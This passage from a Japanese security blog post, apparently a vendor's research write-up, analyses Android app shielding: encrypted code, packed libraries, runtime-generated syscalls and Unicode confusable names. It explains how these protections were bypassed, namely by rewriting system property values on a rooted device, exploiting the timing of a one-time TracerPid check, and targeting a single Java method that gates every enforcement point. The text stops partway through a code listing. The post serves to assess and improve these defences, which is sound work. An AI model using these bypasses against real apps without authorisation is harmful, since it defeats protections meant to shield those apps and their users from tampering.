&lt;p&gt;&lt;strong&gt;Java層はおとりです。&lt;/strong&gt;アプリには、本来メソッド本体があるべき場所に4,129個の暗号化されたblobが含まれており、起動時にのみ復号されて実行されます。メインアクティビティを含む重要なクラスは、ファイル内に読める形では存在しません。逆コンパイラーで分かるのは構造と一部の呼び出し箇所だけで、振る舞いは分かりません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ネイティブライブラリはパックされています。&lt;/strong&gt;保存時には暗号化されており、エクスポートされたシンボルは一つだけで、実際の内容は起動後にメモリ上にのみ存在します。あるライブラリは、ランダム化されたファイル名とランダム化されたエクスポート名を持っています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;libGHDSDFIUPOIFDLS8DSFN23LK&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_3Wbwdz5QepMbJNn8CiW3HwFivKZsZoNvu&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;そこでスキャンでは、実行中のプロセスから復号済みのライブラリをダンプし、改めて調べました。それでも、チェックはそこにありませんでした。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;チェックは実行時に生成されます。&lt;/strong&gt;復号されたコードは69回のシステムコールを発行します。ARM64でのシステムコールは&lt;code&gt;svc&lt;/code&gt;命令で、呼び出し番号はレジスタ&lt;code&gt;x8&lt;/code&gt;に入るため、通常は逆アセンブラーでどのカーネル関数が要求されているかを読み取れます。このうち64か所では番号が定数です。残りの5か所では、アプリが実行中に番号を計算するため、その5か所は静的解析では見えません。&lt;/p&gt;
&lt;p&gt;その5か所のうち一つは、&lt;code&gt;PROT_READ | PROT_WRITE | PROT_EXEC&lt;/code&gt;で1ページを要求する&lt;code&gt;mmap&lt;/code&gt;に解決されます。アプリはこれをおよそ85ミリ秒ごとに実行します。そのページにコードを書き込み、実行し、破棄するのです。&lt;/p&gt;
&lt;p&gt;書き込み可能かつ実行可能なメモリは、設計上まれなものです。現代のシステムは2つの権限を分離しています。書き込んだうえで実行できるメモリこそが、コードインジェクションを可能にするからです。それでもパッカーやプロテクターがこれを使うのは、まさにこの目的のためです。つまり、固定されたアドレスに固定されたコードとして存在することのないチェックを生成するためです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文字列は保存されず、組み立てられます。&lt;/strong&gt;完全に復号したライブラリで&lt;code&gt;qemu&lt;/code&gt;、&lt;code&gt;goldfish&lt;/code&gt;、&lt;code&gt;emulator&lt;/code&gt;を検索しても、ヒットはゼロです。アプリはこれらの文字列をスタック上で1文字ずつ組み立てるため、grepで探せる連続したテキストとして存在することはありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;メソッド名はUnicodeの紛らわしい文字です。&lt;/strong&gt;別の製品で保護された2つ目のアプリは、Javaで同じ手口を使っています。逆コンパイラーは&lt;code&gt;m13674&lt;/code&gt;と表示しますが、実行時の本当の名前はUnicodeの修飾文字である&lt;code&gt;ˎ&lt;/code&gt;です。&lt;code&gt;m13676&lt;/code&gt;と表示されるものの本当の名前は&lt;code&gt;&amp;Iota;&lt;/code&gt;で、これは大文字のiとまったく同じように表示されるギリシャ文字の大文字イオタです。&lt;/p&gt;
&lt;p&gt;逆コンパイラーが表示する名前を指定して書いたフックは、まったく作動しません。エラーも失敗もなく、その沈黙を実際以上に強力な保護だと誤解しやすくなります。名前ではなく型シグネチャでメソッドを解決すればこの問題を回避でき、本記事で後ほど紹介するフックが初回で成功しているのはそのためです。&lt;/p&gt;
&lt;h2 id="外部からアプリを計測する"&gt;外部からアプリを計測する&lt;/h2&gt;
&lt;p&gt;コードが読めないように作られているなら、読むのをやめて、代わりに観察します。&lt;/p&gt;
&lt;p&gt;スキャンでは、プロセスの外部から観察し、プロセス内部に検知される痕跡を何も残さないカーネルレベルのトレースをアタッチしました。そのうえで、起動中にアプリが開いたすべてのファイルを記録しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;opens ~150 property files, three times each
reads /proc/self/maps three times
reads /proc/self/status, /proc/self/comm, /sys/fs/selinux/context
opens the virtual device files: 0 times
opens any su or root path: 0 times
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;/proc&lt;/code&gt;に馴染みのない読者のために説明すると、これはカーネルが必要に応じて生成する仮想ファイルシステムで、&lt;code&gt;/proc/self&lt;/code&gt;は呼び出し元プロセス自身から見た自分自身の情報です。&lt;code&gt;maps&lt;/code&gt;はマッピングされたメモリ領域を一覧表示します。&lt;code&gt;status&lt;/code&gt;はプロセスのメタデータを保持しており、その中には、現在このプロセスをトレースしているもののプロセスIDである&lt;code&gt;TracerPid&lt;/code&gt;が含まれます。&lt;code&gt;comm&lt;/code&gt;はプロセス名です。&lt;code&gt;/sys/fs/selinux/context&lt;/code&gt;は、プロセスが動作しているSELinuxのセキュリティコンテキストを報告します。&lt;/p&gt;
&lt;p&gt;この結果によって、すべての見方が変わりました。この種のチェックは、ディスク上の&lt;code&gt;su&lt;/code&gt;やエミュレーターのデバイスノードを探すものだと、ほとんどの人が考えています。しかし、このチェックはそのどちらも一度も開いていません。起動時の判定は、プロパティの&lt;strong&gt;値&lt;/strong&gt;、プロセス自身のメモリマップ、そしてトレースの状態に基づいています。この3つのうち2つは、特権ユーザーが書き換えることができます。&lt;/p&gt;
&lt;p&gt;静的解析では、重要かもしれないチェックの一覧が得られました。トレースによって、実際に実行されるのがどれかが分かりました。&lt;/p&gt;
&lt;h2 id="プロパティによるゲートはファイルの書き込みで崩れる"&gt;プロパティによるゲートはファイルの書き込みで崩れる&lt;/h2&gt;
&lt;p&gt;Androidは、&lt;code&gt;/dev/__properties__/&lt;/code&gt;配下のファイルとして公開される共有メモリ領域を通じて、システムプロパティを公開しています。ライブラリは&lt;code&gt;__system_property_get&lt;/code&gt;を通じてそれらを読み取ります。値はメモリ上に保持されており、root化された端末では、アプリの起動前にその場で書き換えることができます。このゲートは、そこで読み取る値について、完全性や真正性のチェックを一切行いません。&lt;/p&gt;
&lt;p&gt;書き込み前：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;signal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SIGSEGV&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fault&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;
&lt;span class="n"&gt;x0&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xdef040f0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;crash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;report&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GENERATED&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;書き込み後：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;crash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;report&lt;/span&gt;
&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alive&lt;/span&gt;
&lt;span class="n"&gt;UI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drawn&lt;/span&gt;
&lt;span class="n"&gt;native&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;libraries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loaded&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="プロパティ書き込み後の同じエビデンスページ。クラッシュレポートはなく、プロセスは稼働中で、ネイティブライブラリが読み込まれている" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-12_mobile-shielding-rasp/after-property-spoofing.png" title="図2：プロパティ書き込み後"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;図2：プロパティ書き込み後&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;強制終了は起きなくなりました。APKへのパッチも、フックも、アプリへの改変も一切ありません。&lt;/p&gt;
&lt;p&gt;だからといって、プロパティのチェックが無意味になるわけではありません。それが決定的な根拠にはならない、ということです。rootを取得した攻撃者が値を書き換えられるのであれば、アプリには、独立した複数のシグナルによる裏付けか、一つのシグナルが反転しても崩れない強制の仕組みが必要です。&lt;/p&gt;
&lt;h3 id="インデックスファイルが重要な理由"&gt;インデックスファイルが重要な理由&lt;/h3&gt;
&lt;p&gt;これは見た目以上に繊細な作業であり、その失敗パターンは知っておく価値があります。&lt;/p&gt;
&lt;p&gt;そのディレクトリには、2種類の異なる構造が格納されています。各プロパティを保存する&lt;code&gt;prop_info&lt;/code&gt;レコードと、プロパティの&lt;strong&gt;名前&lt;/strong&gt;をそのレコードに解決するための、別個のシリアライズされたインデックスです。名前による検索はすべてインデックスを経由します。ファイル全体に対してやみくもに検索と置換を行うと、インデックスが壊れてしまいます。&lt;/p&gt;
&lt;p&gt;しかも、その損傷は目に見えません。プロパティの列挙はレコードを直接たどるため正常に動作し続け、約460件のエントリを返します。一方で、個々のプロパティを名前で問い合わせると何も返ってきません。起動時にプロパティを読み取るライブラリはすべて、直前に行った操作とは無関係に見えるかたちで動かなくなります。&lt;/p&gt;
&lt;p&gt;そこでスキャンでは、書き込む前に形状から本物のレコードを特定し、さらに自らの作業を信頼するのではなく検証します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;properties&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;465&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;was&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;465&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;sdk&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'31'&lt;/span&gt;
&lt;span class="n"&gt;giveaways&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;プロパティ数は変わらず、既知の検索は引き続き解決され、痕跡は消えています。アプリを起動するのはその後です。環境を壊すことで成立する回避は、回避とは言えません。&lt;/p&gt;
&lt;h2 id="frida検知の実態はタイミングの検知"&gt;Frida検知の実態はタイミングの検知&lt;/h2&gt;
&lt;p&gt;Fridaは、この種の作業における標準的な動的計装ツールキットです。実行中のプロセスにエージェントを注入し、Javaメソッド、ネイティブ関数、システムコールをフックできます。&lt;/p&gt;
&lt;p&gt;これらのアプリに対しては、Fridaは即座に強制終了されます。一方、Fridaよりも侵襲的だと言えるデバッガーは、いつまでも動かし続けることができます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;debugger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attaches&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1.9&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;launch&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ran&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;complaint&lt;/span&gt;
&lt;span class="n"&gt;Frida&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attaches&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;launch&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;killed&lt;/span&gt;
&lt;span class="n"&gt;Frida&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;launches&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;together&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;killed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;アプリは起動直後に一度だけ&lt;code&gt;/proc/self/status&lt;/code&gt;を読み取ります。このファイルの1行が&lt;code&gt;TracerPid&lt;/code&gt;で、何もプロセスをトレースしていなければ&lt;code&gt;0&lt;/code&gt;、そうでなければトレーサーのプロセスIDを保持します。デバッガーは&lt;code&gt;ptrace&lt;/code&gt;を使用するため、この値が設定されます。Fridaの注入も、スレッドを乗っ取ってエージェントを読み込ませるために、短時間だけ&lt;code&gt;ptrace&lt;/code&gt;を使用します。&lt;/p&gt;
&lt;p&gt;このチェックは、起動からおよそ1秒の時点で一度だけ実行されます。当社はこれを地道な方法で確認しました。デバッガーをアタッチして再開し、その後100秒間何もしないというものです。判定は下されず、アプリは稼働し続けました。監視されていることがトリガーではないのです。&lt;/p&gt;
&lt;p&gt;Fridaの問題は、その侵入の仕方にあります。注入は、その起動時の時間枠に2つの痕跡を残します。数百ミリ秒の間&lt;code&gt;TracerPid&lt;/code&gt;が設定されることと、エージェントが匿名ファイルから読み込まれた箇所に、外部の実行可能なマッピングが&lt;code&gt;/proc/self/maps&lt;/code&gt;に現れることです。判定は、エージェントのスクリプトが最初の1行を出力する前に下されます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;{"c":7,"v":1,"p":{"id":107,"name":"Hooking Detected"}}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これを回避するために、Fridaのスレッド名やポートを変更しようとする人がいます。しかし、それでは何も変わりません。検知されていたのは、そもそも名前ではないからです。&lt;/p&gt;
&lt;p&gt;つまり、アプリが問うているのは「これはFridaか」ではありません。「この時間枠の間に、何かが自分をトレースしたり改変したりしていたか」に近い問いです。これは、異なる帰結を持つ別種の制御です。チェックが既知のタイミングで一度だけ実行されるなら、そのタイミング自体がアタックサーフェスになります。チェックの前に入り込むことも、後に入り込むことも、プロセスをサスペンド状態で起動し、アプリが最初の命令を実行する前に待ち構えておくこともできます。スキャンは最後の方法を取っており、それによって、通常のアタッチでは決して見えないチェックにまで到達しています。&lt;/p&gt;
&lt;p&gt;2つ目のアプリは、別の経路で同じ結論に至ります。最初の命令からトレースすると、判定のすべては、アプリが最後に行う4つの処理に集約されています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;openat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;".../split_config.arm64_v8a.apk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;readlinkat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/proc/self/fd/60"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;".../split_config.arm64_v8a.apk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;openat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/proc/self/status"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SIGBUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;si_code&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;BUS_ADRALN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;si_addr&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0x8f19c0bf&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;
&lt;span class="o"&gt;+++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;killed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;by&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SIGBUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+++&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;BUS_ADRALN&lt;/code&gt;を伴う&lt;code&gt;SIGBUS&lt;/code&gt;はアラインメント違反で、CPUがそのアクセス幅では受け付けないアドレスに対して読み込みや書き込みが行われたことを示します。ARM64では偶発的に起きることの少ないクラッシュであり、しかも障害アドレスは毎回同じです。アプリはトレースの状態を読み取り、その後、意図的にアラインメントのずれたアクセスを実行して自らを終了させているのです。&lt;/p&gt;
&lt;h2 id="1つの整数が8か所を決める"&gt;1つの整数が8か所を決める&lt;/h2&gt;
&lt;p&gt;2つ目のAndroidアプリは、今回調べたアプリの中で最も明確に核心を示しています。&lt;/p&gt;
&lt;p&gt;その保護は本格的なものです。検知用の文字列はネイティブライブラリ内で暗号化され、クラス名はJava層で暗号化され、メソッド名はUnicodeの紛らわしい文字で、システムコールはlibcを経由せずインラインの&lt;code&gt;svc&lt;/code&gt;命令として発行されます。そのため、標準の&lt;code&gt;syscall()&lt;/code&gt;ラッパーをフックしても何も捕捉できません。&lt;/p&gt;
&lt;p&gt;そのすべてが、一つのJavaメソッドに集約されています。このメソッドにランダムな整数を渡すと、クリーンな端末では同じ整数がそのまま返ってきます。&lt;/p&gt;
&lt;p&gt;アプリ内のすべての強制箇所が、その一つの値をチェックしています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;j&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;ma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;java&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;480&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;m13674&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;nextInt&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;nextInt&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;j&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;ma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;java&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;551&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;m13674&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;nextInt2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;nextInt2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;bk&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;java&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;844&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;m9379&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;m13674&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;nextInt&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;nextInt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-91&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;808&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nt"&gt;bk&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;java&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;911&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;m13674&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;nextInt2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;nextInt2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;ca&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;ma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;java&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;2298&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;m13674&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;ca&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;java&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;1331&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;m13674&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
